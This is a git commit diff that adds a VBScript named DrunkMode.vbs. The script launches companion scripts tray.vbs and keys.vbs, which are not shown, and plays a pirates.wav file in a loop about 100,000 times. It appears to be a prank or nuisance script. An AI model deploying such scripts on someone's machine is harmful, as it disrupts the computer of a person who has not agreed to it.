diff options
author | rafa_99 <raroma09@gmail.com> | 2021-09-23 16:40:24 +0100 |
---|---|---|
committer | rafa_99 <raroma09@gmail.com> | 2021-09-23 16:40:24 +0100 |
commit | 6c2e76026c0fe6211c171c36d5b5aff523b989b1 (patch) | |
tree | 9749a52a77ae910c7e949e83e498fbee8fb9b5e3 /Pirate/DrunkMode.vbs | |
parent | b29bf8c1c7b03f86926b0d876caf31a111eefe22 (diff) |
Diffstat (limited to 'Pirate/DrunkMode.vbs')
-rwxr-xr-x | Pirate/DrunkMode.vbs | 23 |
1 files changed, 23 insertions, 0 deletions
diff --git a/Pirate/DrunkMode.vbs b/Pirate/DrunkMode.vbs new file mode 100755 index 0000000..1c254e7 --- /dev/null +++ b/Pirate/DrunkMode.vbs @@ -0,0 +1,23 @@ +Set WshShell = WScript.CreateObject("WScript.Shell") +Set fso = CreateObject("Scripting.FileSystemObject") + +Dim objShell +Set objShell = Wscript.CreateObject("WScript.Shell") + +objShell.Run "tray.vbs" +objShell.Run "keys.vbs" + +Dim oPlayer +Set oPlayer = CreateObject("WMPlayer.OCX") + +do +Directory = fso.BuildPath(CurrentDirectory, "pirates.wav") +oPlayer.URL = "pirates.wav" +oPlayer.controls.play +While oPlayer.playState <> 1 ' + WScript.Sleep 100 +Wend +oPlayer.close + +c = c+1 +loop while c < 100000 |